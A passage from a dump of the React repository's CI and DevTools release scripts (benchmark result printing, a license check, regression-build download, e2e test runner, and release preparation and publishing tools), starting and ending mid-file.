remoteMasterResults.benchmarks[benchmark].averages[i].sem;\n        // https://en.wikipedia.org/wiki/1.96 gives a 99% confidence interval.\n        const ci95 = remoteSem * 1.96;\n        row.push(\n          chalk.white(+remoteMean.toFixed(2) + ' ms +- ' + ci95.toFixed(2))\n        );\n      }\n      let localMean;\n      let localSem;\n      if (localResults) {\n        localMean = localResults.benchmarks[benchmark].averages[i].mean;\n        localSem = localResults.benchmarks[benchmark].averages[i].sem;\n        const ci95 = localSem * 1.96;\n        row.push(\n          chalk.white(+localMean.toFixed(2) + ' ms +- ' + ci95.toFixed(2))\n        );\n      }\n      if (localResults && remoteMasterResults) {\n        row.push(percentChange(remoteMean, localMean, remoteSem, localSem));\n      }\n      table.push(row);\n    });\n  });\n}\n\nfunction printResults(localResults, remoteMasterResults) {\n  const head = [''];\n  if (remoteMasterResults) {\n    head.push(chalk.yellow.bold('Remote (Merge Base)'));\n  }\n  if (localResults) {\n    head.push(chalk.green.bold('Local (Current Branch)'));\n  }\n  if (localResults && remoteMasterResults) {\n    head.push('');\n  }\n  const table = new Table({head});\n  addBenchmarkResults(table, localResults, remoteMasterResults);\n  console.log(table.toString());\n}\n\nmodule.exports = printResults;\n"
  },
  {
    "path": "scripts/ci/check_license.sh",
    "content": "#!/bin/bash\n\nset -e\n\n# Make sure we don't introduce accidental references to PATENTS.\nEXPECTED='scripts/ci/check_license.sh'\nACTUAL=$(git grep -l PATENTS)\n\nif [ \"$EXPECTED\" != \"$ACTUAL\" ]; then\n  echo \"PATENTS crept into some new files?\"\n  diff -u <(echo \"$EXPECTED\") <(echo \"$ACTUAL\") || true\n  exit 1\nfi\n"
  },
  {
    "path": "scripts/ci/download_devtools_regression_build.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {exec} = require('child-process-promise');\nconst chalk = require('chalk');\nconst {join} = require('path');\nconst semver = require('semver');\nconst yargs = require('yargs');\nconst fs = require('fs');\n\nconst REGRESSION_FOLDER = 'build-regression';\n\nconst ROOT_PATH = join(__dirname, '..', '..');\n\nconst buildPath = join(ROOT_PATH, `build`, 'oss-experimental');\nconst regressionBuildPath = join(ROOT_PATH, REGRESSION_FOLDER);\n\nconst argv = yargs(process.argv.slice(2)).argv;\n\nconst version = process.argv[2];\nconst shouldReplaceBuild = !!argv.replaceBuild;\n\nasync function downloadRegressionBuild() {\n  const reactVersion = semver.coerce(version).version;\n  const installPackages = ['react-dom', 'react', 'react-test-renderer'];\n  if (semver.gte(reactVersion, '16.3.0')) {\n    installPackages.push('react-is');\n  }\n\n  console.log(chalk.bold.white(`Downloading React v${version}\\n`));\n\n  // Make build directory for temporary modules we're going to download\n  // from NPM\n  console.log(\n    chalk.white(\n      `Make Build directory at ${chalk.underline.blue(regressionBuildPath)}\\n`\n    )\n  );\n  await exec(`mkdir ${regressionBuildPath}`);\n\n  // Install all necessary React packages that have the same version\n  const downloadPackagesStr = installPackages.reduce(\n    (str, name) => `${str} ${name}@${version}`,\n    ''\n  );\n  await exec(\n    `npm install --prefix ${REGRESSION_FOLDER} ${downloadPackagesStr}`\n  );\n\n  // If we shouldn't replace the build folder, we can stop here now\n  // before we modify anything\n  if (!shouldReplaceBuild) {\n    return;\n  }\n\n  // Remove all the packages that we downloaded in the original build folder\n  // so we can move the modules from the regression build over\n  const removePackagesStr = installPackages.reduce(\n    (str, name) => `${str} ${join(buildPath, name)}`,\n    ''\n  );\n  console.log(\n    chalk.white(\n      `Removing ${removePackagesStr\n        .split(' ')\n        .map(str => chalk.underline.blue(str) + '\\n')\n        .join(' ')}\\n`\n    )\n  );\n  await exec(`rm -rf ${removePackagesStr}`);\n\n  // Move all packages that we downloaded to the original build folder\n  // We need to separately move the scheduler package because it might\n  // be called schedule\n  const movePackageString = installPackages.reduce(\n    (str, name) => `${str} ${join(regressionBuildPath, 'node_modules', name)}`,\n    ''\n  );\n  console.log(\n    chalk.white(\n      `Moving ${movePackageString\n        .split(' ')\n        .map(str => chalk.underline.blue(str) + '\\n')\n        .join(' ')} to ${chalk.underline.blue(buildPath)}\\n`\n    )\n  );\n  fs.mkdirSync(buildPath, {recursive: true});\n  await exec(`mv ${movePackageString} ${buildPath}`);\n\n  // For React versions earlier than 18.0.0, we explicitly scheduler v0.20.1, which\n  // is the first version that has unstable_mock, which DevTools tests need, but also\n  // has Scheduler.unstable_trace, which, although we don't use in DevTools tests\n  // is imported by older React versions and will break if it's not there\n  if (semver.lte(reactVersion, '18.0.0')) {\n    await exec(`npm install --prefix ${REGRESSION_FOLDER} scheduler@0.20.1`);\n  }\n\n  // In v16.5, scheduler is called schedule. We need to make sure we also move\n  // this over. Otherwise the code will break.\n  if (fs.existsSync(join(regressionBuildPath, 'node_modules', 'schedule'))) {\n    console.log(chalk.white(`Downloading schedule\\n`));\n    await exec(\n      `mv ${join(regressionBuildPath, 'node_modules', 'schedule')} ${buildPath}`\n    );\n  } else {\n    console.log(chalk.white(`Downloading scheduler\\n`));\n    await exec(`rm -rf ${join(buildPath, 'scheduler')}`);\n    await exec(\n      `mv ${join(\n        regressionBuildPath,\n        'node_modules',\n        'scheduler'\n      )} ${buildPath}`\n    );\n  }\n\n  if (semver.gte(reactVersion, '18.2.0') && semver.lt(reactVersion, '19.0.0')) {\n    console.log(chalk.white(`Downloading react-compiler-runtime\\n`));\n    await exec(\n      `npm install --prefix ${REGRESSION_FOLDER} react-compiler-runtime`\n    );\n\n    console.log(\n      chalk.white(\n        `Moving react-compiler-runtime to react/compiler-runtime.js\\n`\n      )\n    );\n    await exec(\n      `mv ${REGRESSION_FOLDER}/node_modules/react-compiler-runtime/dist/index.js ${buildPath}/react/compiler-runtime.js`\n    );\n  }\n}\n\nasync function main() {\n  try {\n    if (!version) {\n      console.log(chalk.red('Must specify React version to download'));\n      return;\n    }\n    await downloadRegressionBuild();\n  } finally {\n    // We shouldn't remove the regression-build folder unless we're using\n    // it to replace the build folder\n    if (shouldReplaceBuild) {\n      console.log(chalk.bold.white(`Removing regression build`));\n      await exec(`rm -r ${regressionBuildPath}`);\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "scripts/ci/pack_and_store_devtools_artifacts.sh",
    "content": "#!/bin/bash\n\nset -e\n\nmkdir -p build/devtools\n\ncd packages/react-devtools\nnpm pack\nmv ./react-devtools*.tgz ../../build/devtools/\n\ncd ../react-devtools-core\nnpm pack\nmv ./react-devtools-core*.tgz ../../build/devtools/\n\ncd ../react-devtools-inline\nnpm pack\nmv ./react-devtools-inline*.tgz ../../build/devtools/\n\ncd ../react-devtools-extensions\nif [[ -n \"$1\" ]]; then\n  yarn build:$1\n  mv ./$1/build/ReactDevTools.zip ../../build/devtools/$1-extension.zip\n  mv ./$1/build/webpack-stats.*.json ../../build/devtools/\nelse\n  yarn build\n  for browser in chrome firefox edge; do\n    mv ./$browser/build/ReactDevTools.zip ../../build/devtools/$browser-extension.zip\n    mv ./$browser/build/webpack-stats.*.json ../../build/devtools/\n  done\nfi\n"
  },
  {
    "path": "scripts/ci/run_devtools_e2e_tests.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {spawn} = require('child_process');\nconst {join} = require('path');\n\nconst ROOT_PATH = join(__dirname, '..', '..');\nconst reactVersion = process.argv[2];\nconst inlinePackagePath = join(ROOT_PATH, 'packages', 'react-devtools-inline');\nconst shellPackagePath = join(ROOT_PATH, 'packages', 'react-devtools-shell');\nconst playwrightArtifactsPath = join(ROOT_PATH, 'tmp', 'playwright-artifacts');\n\nconst {SUCCESSFUL_COMPILATION_MESSAGE} = require(\n  join(shellPackagePath, 'constants.js')\n);\n\nlet buildProcess = null;\nlet serverProcess = null;\nlet testProcess = null;\n\nfunction format(loggable) {\n  return `${loggable}`\n    .split('\\n')\n    .filter(line => {\n      return line.trim() !== '';\n    })\n    .map(line => `  ${line}`)\n    .join('\\n');\n}\n\nfunction logBright(loggable) {\n  console.log(`\\x1b[1m${loggable}\\x1b[0m`);\n}\n\nfunction logDim(loggable) {\n  const formatted = format(loggable, 2);\n  if (formatted !== '') {\n    console.log(`\\x1b[2m${formatted}\\x1b[0m`);\n  }\n}\n\nfunction logError(loggable) {\n  const formatted = format(loggable, 2);\n  if (formatted !== '') {\n    console.error(`\\x1b[31m${formatted}\\x1b[0m`);\n  }\n}\n\nfunction buildInlinePackage() {\n  logBright('Building inline packages');\n\n  buildProcess = spawn('yarn', ['build'], {cwd: inlinePackagePath});\n  buildProcess.stdout.on('data', data => {\n    logDim(data);\n  });\n  buildProcess.stderr.on('data', data => {\n    if (\n      `${data}`.includes('Warning') ||\n      // E.g. [BABEL] Note: The code generator has deoptimised the styling of * as it exceeds the max of 500KB.\n      `${data}`.includes('[BABEL] Note')\n    ) {\n      logDim(data);\n    } else {\n      logError(`Error:\\n${data}`);\n\n      exitWithCode(1);\n    }\n  });\n  buildProcess.on('close', code => {\n    logBright('Inline package built');\n\n    runTestShell();\n  });\n}\n\nfunction runTestShell() {\n  const timeoutID = setTimeout(() => {\n    // Assume the test shell server failed to start.\n    logError('Testing shell server failed to start');\n    exitWithCode(1);\n  }, 60 * 1000);\n\n  logBright('Starting testing shell server');\n\n  if (!reactVersion) {\n    serverProcess = spawn('yarn', ['start'], {cwd: shellPackagePath});\n  } else {\n    serverProcess = spawn('yarn', ['start'], {\n      cwd: shellPackagePath,\n      env: {...process.env, REACT_VERSION: reactVersion},\n    });\n  }\n\n  serverProcess.stdout.on('data', data => {\n    if (`${data}`.includes(SUCCESSFUL_COMPILATION_MESSAGE)) {\n      logBright('Testing shell server running');\n\n      clearTimeout(timeoutID);\n\n      runEndToEndTests();\n    }\n  });\n\n  serverProcess.stderr.on('data', data => {\n    if (`${data}`.includes('EADDRINUSE')) {\n      // Something is occupying this port;\n      // We could kill the process and restart but probably better to prompt the user to do this.\n\n      logError('Free up the port and re-run tests:');\n      logBright('  kill -9 $(lsof -ti:8080)');\n\n      exitWithCode(1);\n    } else if (`${data}`.includes('ERROR')) {\n      logError(`Error:\\n${data}`);\n\n      exitWithCode(1);\n    } else {\n      // Non-fatal stuff like Babel optimization warnings etc.\n      logDim(data);\n    }\n  });\n}\n\nasync function runEndToEndTests() {\n  logBright('Running e2e tests');\n  if (!reactVersion) {\n    testProcess = spawn(\n      'yarn',\n      ['test:e2e', `--output=${playwrightArtifactsPath}`],\n      {\n        cwd: inlinePackagePath,\n      }\n    );\n  } else {\n    testProcess = spawn(\n      'yarn',\n      ['test:e2e', `--output=${playwrightArtifactsPath}`],\n      {\n        cwd: inlinePackagePath,\n        env: {...process.env, REACT_VERSION: reactVersion},\n      }\n    );\n  }\n\n  testProcess.stdout.on('data', data => {\n    // Log without formatting because Playwright applies its own formatting.\n    const formatted = format(data);\n    if (formatted !== '') {\n      console.log(formatted);\n    }\n  });\n  testProcess.stderr.on('data', data => {\n    // Log without formatting because Playwright applies its own formatting.\n    const formatted = format(data);\n    if (formatted !== '') {\n      console.error(formatted);\n    }\n\n    exitWithCode(1);\n  });\n  testProcess.on('close', code => {\n    logBright(`Tests completed with code: ${code}`);\n\n    exitWithCode(code);\n  });\n}\n\nfunction exitWithCode(code) {\n  if (buildProcess !== null) {\n    try {\n      logBright('Shutting down build process');\n      buildProcess.kill();\n    } catch (error) {\n      logError(error);\n    }\n  }\n\n  if (serverProcess !== null) {\n    try {\n      logBright('Shutting down shell server process');\n      serverProcess.kill();\n    } catch (error) {\n      logError(error);\n    }\n  }\n\n  if (testProcess !== null) {\n    try {\n      logBright('Shutting down test process');\n      testProcess.kill();\n    } catch (error) {\n      logError(error);\n    }\n  }\n\n  process.exit(code);\n}\n\nbuildInlinePackage();\n"
  },
  {
    "path": "scripts/ci/test_print_warnings.sh",
    "content": "#!/bin/bash\n\nset -e\n\nWARNINGS=$(node scripts/print-warnings/print-warnings.js)\necho \"$WARNINGS\"\ntest ! -z \"$WARNINGS\"\n"
  },
  {
    "path": "scripts/devtools/.gitignore",
    "content": ".build-metadata\n.progress-estimator\n"
  },
  {
    "path": "scripts/devtools/README.md",
    "content": "# Releasing DevTools\n\nTo release DevTools, do the following steps (in order):\n1. [Prepare a release](#prepare-a-release)\n2. [Build and test a release](#build-and-test-a-release)\n3. [Publish a release](#publish-a-release)\n\nEach of the scripts can be run with a `--dry` flag to test without committing or publishing any changes.\n\n### Prepare a release\nTo increment version numbers and update the [CHANGELOG](https://github.com/facebook/react/blob/main/packages/react-devtools/CHANGELOG.md), run the `prepare-release` script:\n```sh\n./prepare-release.js\n```\n\nYou'll need to follow the instructions at the end of the script to push the committed changes to the main fork on GitHub.\n\n### Build and test a release\nTo build and test a release, run the `build-and-test` script:\n```sh\n./build-and-test.js\n```\n\n### Publish a release\nTo publish a release to NPM, run the `publish-release` script:\n```sh\n./publish-release.js\n```\n\nYou'll need to follow the instructions at the end of the script to upload the extension to Chrome, Edge, and Firefox stores."
  },
  {
    "path": "scripts/devtools/build-and-test.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst chalk = require('chalk');\nconst {exec} = require('child-process-promise');\nconst inquirer = require('inquirer');\nconst {homedir} = require('os');\nconst {join, relative} = require('path');\nconst {DRY_RUN, ROOT_PATH} = require('./configuration');\nconst {\n  clear,\n  confirm,\n  confirmContinue,\n  execRead,\n  logger,\n  saveBuildMetadata,\n} = require('./utils');\n\n// This is the primary control function for this script.\nasync function main() {\n  clear();\n\n  await confirm('Have you stopped all NPM DEV scripts?', () => {\n    const packagesPath = relative(process.cwd(), join(__dirname, 'packages'));\n\n    console.log('Stop all NPM DEV scripts in the following directories:');\n    console.log(\n      chalk.bold('  ' + join(packagesPath, 'react-devtools-core')),\n      chalk.gray('(start:backend, start:standalone)')\n    );\n    console.log(\n      chalk.bold('  ' + join(packagesPath, 'react-devtools-inline')),\n      chalk.gray('(start)')\n    );\n\n    const buildAndTestScriptPath = join(__dirname, 'build-and-test.js');\n    const pathToPrint = relative(process.cwd(), buildAndTestScriptPath);\n\n    console.log('\\nThen restart this release step:');\n    console.log(chalk.bold.green('  ' + pathToPrint));\n  });\n\n  await confirm('Have you run the prepare-release script?', () => {\n    const prepareReleaseScriptPath = join(__dirname, 'prepare-release.js');\n    const pathToPrint = relative(process.cwd(), prepareReleaseScriptPath);\n\n    console.log('Begin by running the prepare-release script:');\n    console.log(chalk.bold.green('  ' + pathToPrint));\n  });\n\n  const archivePath = await archiveGitRevision();\n  const currentCommitHash = await downloadLatestReactBuild();\n\n  await buildAndTestInlinePackage();\n  await buildAndTestStandalonePackage();\n  await buildAndTestExtensions();\n\n  saveBuildMetadata({archivePath, currentCommitHash});\n\n  printFinalInstructions();\n}\n\nasync function archiveGitRevision() {\n  const desktopPath = join(homedir(), 'Desktop');\n  const archivePath = join(desktopPath, 'DevTools.tgz');\n\n  console.log(`Creating git archive at ${chalk.dim(archivePath)}`);\n  console.log('');\n\n  if (!DRY_RUN) {\n    await exec(`git archive main | gzip > ${archivePath}`, {cwd: ROOT_PATH});\n  }\n\n  return archivePath;\n}\n\nasync function buildAndTestExtensions() {\n  const extensionsPackagePath = join(\n    ROOT_PATH,\n    'packages',\n    'react-devtools-extensions'\n  );\n  const buildExtensionsPromise = exec('yarn build', {\n    cwd: extensionsPackagePath,\n  });\n\n  await logger(\n    buildExtensionsPromise,\n    `Building browser extensions ${chalk.dim('(this may take a minute)')}`,\n    {\n      estimate: 60000,\n    }\n  );\n\n  console.log('');\n  console.log(`Extensions have been build for Chrome, Edge, and Firefox.`);\n  console.log('');\n  console.log('Smoke test each extension before continuing:');\n  console.log(`  ${chalk.bold.green('cd ' + extensionsPackagePath)}`);\n  console.log('');\n  console.log(`  ${chalk.dim('# Test Chrome extension')}`);\n  console.log(`  ${chalk.bold.green('yarn test:chrome')}`);\n  console.log('');\n  console.log(`  ${chalk.dim('# Test Edge extension')}`);\n  console.log(`  ${chalk.bold.green('yarn test:edge')}`);\n  console.log('');\n  console.log(`  ${chalk.dim('# Firefox Chrome extension')}`);\n  console.log(`  ${chalk.bold.green('yarn test:firefox')}`);\n\n  await confirmContinue();\n}\n\nasync function buildAndTestStandalonePackage() {\n  const corePackagePath = join(ROOT_PATH, 'packages', 'react-devtools-core');\n  const corePackageDest = join(corePackagePath, 'dist');\n\n  await exec(`rm -rf ${corePackageDest}`);\n  const buildCorePromise = exec('yarn build', {cwd: corePackagePath});\n\n  await logger(\n    buildCorePromise,\n    `Building ${chalk.bold('react-devtools-core')} package.`,\n    {\n      estimate: 25000,\n    }\n  );\n\n  const standalonePackagePath = join(ROOT_PATH, 'packages', 'react-devtools');\n  const safariFixturePath = join(\n    ROOT_PATH,\n    'fixtures',\n    'devtools',\n    'standalone',\n    'index.html'\n  );\n\n  console.log('');\n  console.log(\n    `Test the ${chalk.bold('react-devtools-core')} target before continuing:`\n  );\n  console.log(`  ${chalk.bold.green('cd ' + standalonePackagePath)}`);\n  console.log(`  ${chalk.bold.green('yarn start')}`);\n  console.log('');\n  console.log(\n    'The following fixture can be useful for testing Safari integration:'\n  );\n  console.log(`  ${chalk.dim(safariFixturePath)}`);\n\n  await confirmContinue();\n}\n\nasync function buildAndTestInlinePackage() {\n  const inlinePackagePath = join(\n    ROOT_PATH,\n    'packages',\n    'react-devtools-inline'\n  );\n  const inlinePackageDest = join(inlinePackagePath, 'dist');\n\n  await exec(`rm -rf ${inlinePackageDest}`);\n  const buildPromise = exec('yarn build', {cwd: inlinePackagePath});\n\n  await logger(\n    buildPromise,\n    `Building ${chalk.bold('react-devtools-inline')} package.`,\n    {\n      estimate: 10000,\n    }\n  );\n\n  const shellPackagePath = join(ROOT_PATH, 'packages', 'react-devtools-shell');\n\n  console.log('');\n  console.log(`Built ${chalk.bold('react-devtools-inline')} target.`);\n  console.log('');\n  console.log('Test this build before continuing:');\n  console.log(`  ${chalk.bold.green('cd ' + shellPackagePath)}`);\n  console.log(`  ${chalk.bold.green('yarn start')}`);\n\n  await confirmContinue();\n}\n\nasync function downloadLatestReactBuild() {\n  const releaseScriptPath = join(ROOT_PATH, 'scripts', 'release');\n  const installPromise = exec('yarn install', {cwd: releaseScriptPath});\n\n  await logger(\n    installPromise,\n    `Installing release script dependencies. ${chalk.dim(\n      '(this may take a minute if CI is still running)'\n    )}`,\n    {\n      estimate: 5000,\n    }\n  );\n\n  console.log('');\n\n  const currentCommitHash = (await exec('git rev-parse HEAD')).stdout.trim();\n  if (!currentCommitHash) {\n    throw new Error('Failed to get current commit hash');\n  }\n\n  const {commit} = await inquirer.prompt([\n    {\n      type: 'input',\n      name: 'commit',\n      message: 'Which React version (commit) should be used?',\n      default: currentCommitHash,\n    },\n  ]);\n  console.log('');\n\n  const downloadScriptPath = join(\n    releaseScriptPath,\n    'download-experimental-build.js'\n  );\n  const downloadPromise = execRead(\n    `\"${downloadScriptPath}\" --commit=${commit}`\n  );\n\n  await logger(downloadPromise, 'Downloading React artifacts from CI.', {\n    estimate: 15000,\n  });\n\n  return currentCommitHash;\n}\n\nfunction printFinalInstructions() {\n  const publishReleaseScriptPath = join(__dirname, 'publish-release.js');\n  const pathToPrint = relative(process.cwd(), publishReleaseScriptPath);\n\n  console.log('');\n  console.log('Continue by running the publish-release script:');\n  console.log(chalk.bold.green('  ' + pathToPrint));\n}\n\nmain();\n"
  },
  {
    "path": "scripts/devtools/configuration.js",
    "content": "'use strict';\n\nconst {join} = require('path');\n\nconst PACKAGE_PATHS = [\n  'packages/react-devtools/package.json',\n  'packages/react-devtools-core/package.json',\n  'packages/react-devtools-inline/package.json',\n  'packages/react-devtools-timeline/package.json',\n];\n\nconst MANIFEST_PATHS = [\n  'packages/react-devtools-extensions/chrome/manifest.json',\n  'packages/react-devtools-extensions/edge/manifest.json',\n  'packages/react-devtools-extensions/firefox/manifest.json',\n];\n\nconst NPM_PACKAGES = [\n  'react-devtools',\n  'react-devtools-core',\n  'react-devtools-inline',\n];\n\nconst CHANGELOG_PATH = 'packages/react-devtools/CHANGELOG.md';\n\nconst PULL_REQUEST_BASE_URL = 'https://github.com/facebook/react/pull/';\n\nconst RELEASE_SCRIPT_TOKEN = '<!-- RELEASE_SCRIPT_TOKEN -->';\n\nconst ROOT_PATH = join(__dirname, '..', '..');\n\nconst DRY_RUN = process.argv.includes('--dry');\n\nconst BUILD_METADATA_TEMP_DIRECTORY = join(__dirname, '.build-metadata');\n\nmodule.exports = {\n  BUILD_METADATA_TEMP_DIRECTORY,\n  CHANGELOG_PATH,\n  DRY_RUN,\n  MANIFEST_PATHS,\n  NPM_PACKAGES,\n  PACKAGE_PATHS,\n  PULL_REQUEST_BASE_URL,\n  RELEASE_SCRIPT_TOKEN,\n  ROOT_PATH,\n};\n"
  },
  {
    "path": "scripts/devtools/package.json",
    "content": "{\n  \"name\": \"react-devtools-release-script\",\n  \"version\": \"0.0.0\",\n  \"private\": true,\n  \"scripts\": {},\n  \"license\": \"MIT\",\n  \"dependencies\": {\n    \"chalk\": \"^2.1.0\",\n    \"child-process-promise\": \"^2.2.1\",\n    \"fs-extra\": \"^4.0.2\",\n    \"inquirer\": \"^8.1.2\",\n    \"progress-estimator\": \"^0.2.1\",\n    \"prompt-promise\": \"^1.0.3\",\n    \"semver\": \"^5.4.1\"\n  }\n}\n"
  },
  {
    "path": "scripts/devtools/prepare-release.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst chalk = require('chalk');\nconst {exec} = require('child-process-promise');\nconst {readFileSync, writeFileSync} = require('fs');\nconst {readJsonSync, writeJsonSync} = require('fs-extra');\nconst inquirer = require('inquirer');\nconst {join, relative} = require('path');\nconst semver = require('semver');\nconst {\n  CHANGELOG_PATH,\n  DRY_RUN,\n  MANIFEST_PATHS,\n  PACKAGE_PATHS,\n  PULL_REQUEST_BASE_URL,\n  RELEASE_SCRIPT_TOKEN,\n  ROOT_PATH,\n} = require('./configuration');\nconst {\n  checkNPMPermissions,\n  clear,\n  confirmContinue,\n  execRead,\n} = require('./utils');\n\n// This is the primary control function for this script.\nasync function main() {\n  clear();\n\n  await checkNPMPermissions();\n\n  const sha = await getPreviousCommitSha();\n  const [shortCommitLog, formattedCommitLog] = await getCommitLog(sha);\n\n  console.log('');\n  console.log(\n    'This release includes the following commits:',\n    chalk.gray(shortCommitLog)\n  );\n  console.log('');\n\n  const releaseType = await getReleaseType();\n\n  const path = join(ROOT_PATH, PACKAGE_PATHS[0]);\n  const previousVersion = readJsonSync(path).version;\n  const {major, minor, patch} = semver(previousVersion);\n  const nextVersion =\n    releaseType === 'minor'\n      ? `${major}.${minor + 1}.0`\n      : `${major}.${minor}.${patch + 1}`;\n\n  updateChangelog(nextVersion, formattedCommitLog);\n\n  await reviewChangelogPrompt();\n\n  updatePackageVersions(previousVersion, nextVersion);\n  updateManifestVersions(previousVersion, nextVersion);\n\n  console.log('');\n  console.log(\n    `Packages and manifests have been updated from version ${chalk.bold(\n      previousVersion\n    )} to ${chalk.bold(nextVersion)}`\n  );\n  console.log('');\n\n  await commitPendingChanges(previousVersion, nextVersion);\n\n  printFinalInstructions();\n}\n\nasync function commitPendingChanges(previousVersion, nextVersion) {\n  console.log('');\n  console.log('Committing revision and changelog.');\n  console.log(chalk.dim('  git add .'));\n  console.log(\n    chalk.dim(\n      `  git commit -m \"React DevTools ${previousVersion} -> ${nextVersion}\"`\n    )\n  );\n\n  if (!DRY_RUN) {\n    await exec(`\n      git add .\n      git commit -m \"React DevTools ${previousVersion} -> ${nextVersion}\"\n    `);\n  }\n\n  console.log('');\n  console.log(`Please push this commit before continuing:`);\n  console.log(`  ${chalk.bold.green('git push')}`);\n\n  await confirmContinue();\n}\n\nasync function getCommitLog(sha) {\n  let shortLog = '';\n  let formattedLog = '';\n\n  const hasGh = await hasGithubCLI();\n  const rawLog = await execRead(`\n    git log --topo-order --pretty=format:'%s' ${sha}...HEAD -- packages/react-devtools*\n  `);\n  const lines = rawLog.split('\\n');\n  for (let i = 0; i < lines.length; i++) {\n    const line = lines[i].replace(/^\\[devtools\\] */i, '');\n    const match = line.match(/(.+) \\(#([0-9]+)\\)/);\n    if (match !== null) {\n      const title = match[1];\n      const pr = match[2];\n      let username;\n      if (hasGh) {\n        const response = await execRead(\n          `gh api /repos/facebook/react/pulls/${pr}`\n        );\n        const {user} = JSON.parse(response);\n        username = `[${user.login}](${user.html_url})`;\n      } else {\n        username = '[USERNAME](https://github.com/USERNAME)';\n      }\n      formattedLog += `\\n* ${title} (${username} in [#${pr}](${PULL_REQUEST_BASE_URL}${pr}))`;\n      shortLog += `\\n* ${title}`;\n    } else {\n      formattedLog += `\\n* ${line}`;\n      shortLog += `\\n* ${line}`;\n    }\n  }\n\n  return [shortLog, formattedLog];\n}\n\nasync function hasGithubCLI() {\n  try {\n    await exec('which gh');\n    return true;\n  } catch (_) {}\n  return false;\n}\n\nasync function getPreviousCommitSha() {\n  const choices = [];\n\n  const lines = await execRead(`\n    git log --max-count=5 --topo-order --pretty=format:'%H:::%s:::%as' HEAD -- ${join(\n      ROOT_PATH,\n      PACKAGE_PATHS[0]\n    )}\n  `);\n\n  lines.split('\\n').forEach((line, index) => {\n    const [hash, message, date] = line.split(':::');\n    choices.push({\n      name: `${chalk.bold(hash)} ${chalk.dim(date)} ${message}`,\n      value: hash,\n      short: date,\n    });\n  });\n\n  const {sha} = await inquirer.prompt([\n    {\n      type: 'list',\n      name: 'sha',\n      message: 'Which of the commits above marks the last DevTools release?',\n      choices,\n      default: choices[0].value,\n    },\n  ]);\n\n  return sha;\n}\n\nasync function getReleaseType() {\n  const {releaseType} = await inquirer.prompt([\n    {\n      type: 'list',\n      name: 'releaseType',\n      message: 'Which type of release is this?',\n      choices: [\n        {\n          name: 'Minor (new user facing functionality)',\n          value: 'minor',\n          short: 'Minor',\n        },\n        {name: 'Patch (bug fixes only)', value: 'patch', short: 'Patch'},\n      ],\n      default: 'patch',\n    },\n  ]);\n\n  return releaseType;\n}\n\nfunction printFinalInstructions() {\n  const buildAndTestcriptPath = join(__dirname, 'build-and-test.js');\n  const pathToPrint = relative(process.cwd(), buildAndTestcriptPath);\n\n  console.log('');\n  console.log('Continue by running the build-and-test script:');\n  console.log(chalk.bold.green('  ' + pathToPrint));\n}\n\nasync function reviewChangelogPrompt() {\n  console.log('');\n  console.log(\n    'The changelog has been updated with commits since the previous release:'\n  );\n  console.log(`  ${chalk.bold(CHANGELOG_PATH)}`);\n  console.log('');\n  console.log('Please review the new changelog text for the following:');\n  console.log('  1. Filter out any non-user-visible changes (e.g. typo fixes)');\n  console.log('  2. Organize the list into Features vs Bugfixes');\n  console.log('  3. Combine related PRs into a single bullet list');\n  console.log(\n    '  4. Replacing the \"USERNAME\" placeholder text with the GitHub username(s)'\n  );\n  console.log('');\n  console.log(`  ${chalk.bold.green(`open ${CHANGELOG_PATH}`)}`);\n\n  await confirmContinue();\n}\n\nfunction updateChangelog(nextVersion, commitLog) {\n  const path = join(ROOT_PATH, CHANGELOG_PATH);\n  const oldChangelog = readFileSync(path, 'utf8');\n\n  const [beginning, end] = oldChangelog.split(RELEASE_SCRIPT_TOKEN);\n\n  const dateString = new Date().toLocaleDateString('en-us', {\n    year: 'numeric',\n    month: 'long',\n    day: 'numeric',\n  });\n  const header = `---\\n\\n### ${nextVersion}\\n${dateString}`;\n\n  const newChangelog = `${beginning}${RELEASE_SCRIPT_TOKEN}\\n\\n${header}\\n${commitLog}${end}`;\n\n  console.log(chalk.dim('  Updating changelog: ' + CHANGELOG_PATH));\n\n  if (!DRY_RUN) {\n    writeFileSync(path, newChangelog);\n  }\n}\n\nfunction updateManifestVersions(previousVersion, nextVersion) {\n  MANIFEST_PATHS.forEach(partialPath => {\n    const path = join(ROOT_PATH, partialPath);\n    const json = readJsonSync(path);\n    json.version = nextVersion;\n\n    if (json.hasOwnProperty('version_name')) {\n      json.version_name = nextVersion;\n    }\n\n    console.log(chalk.dim('  Updating manifest JSON: ' + partialPath));\n\n    if (!DRY_RUN) {\n      writeJsonSync(path, json, {spaces: 2});\n    }\n  });\n}\n\nfunction updatePackageVersions(previousVersion, nextVersion) {\n  PACKAGE_PATHS.forEach(partialPath => {\n    const path = join(ROOT_PATH, partialPath);\n    const json = readJsonSync(path);\n    json.version = nextVersion;\n\n    for (let key in json.dependencies) {\n      if (key.startsWith('react-devtools')) {\n        const version = json.dependencies[key];\n\n        json.dependencies[key] = version.replace(previousVersion, nextVersion);\n      }\n    }\n\n    console.log(chalk.dim('  Updating package JSON: ' + partialPath));\n\n    if (!DRY_RUN) {\n      writeJsonSync(path, json, {spaces: 2});\n    }\n  });\n}\n\nmain();\n"
  },
  {
    "path": "scripts/devtools/publish-release.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst chalk = require('chalk');\nconst {exec} = require('child-process-promise');\nconst {readJsonSync} = require('fs-extra');\nconst inquirer = require('inquirer');\nconst {join, relative} = require('path');\nconst {DRY_RUN, NPM_PACKAGES, ROOT_PATH} = require('./configuration');\nconst {\n  checkNPMPermissions,\n  clear,\n  confirm,\n  execRead,\n  logger,\n  readSavedBuildMetadata,\n} = require('./utils');\n\n// This is the primary control function for this script.\nasync function main() {\n  clear();\n\n  await confirm('Have you run the build-and-test script?', () => {\n    const buildAndTestScriptPath = join(__dirname, 'build-and-test.js');\n    const pathToPrint = relative(process.cwd(), buildAndTestScriptPath);\n\n    console.log('Begin by running the build-and-test script:');\n    console.log(chalk.bold.green('  ' + pathToPrint));\n  });\n\n  const {archivePath, currentCommitHash} = readSavedBuildMetadata();\n\n  await checkNPMPermissions();\n\n  await publishToNPM();\n\n  await printFinalInstructions(currentCommitHash, archivePath);\n}\n\nasync function printFinalInstructions(currentCommitHash, archivePath) {\n  console.log('');\n  console.log(\n    'You are now ready to publish the extension to Chrome, Edge, and Firefox:'\n  );\n  console.log(\n    `  ${chalk.blue.underline(\n      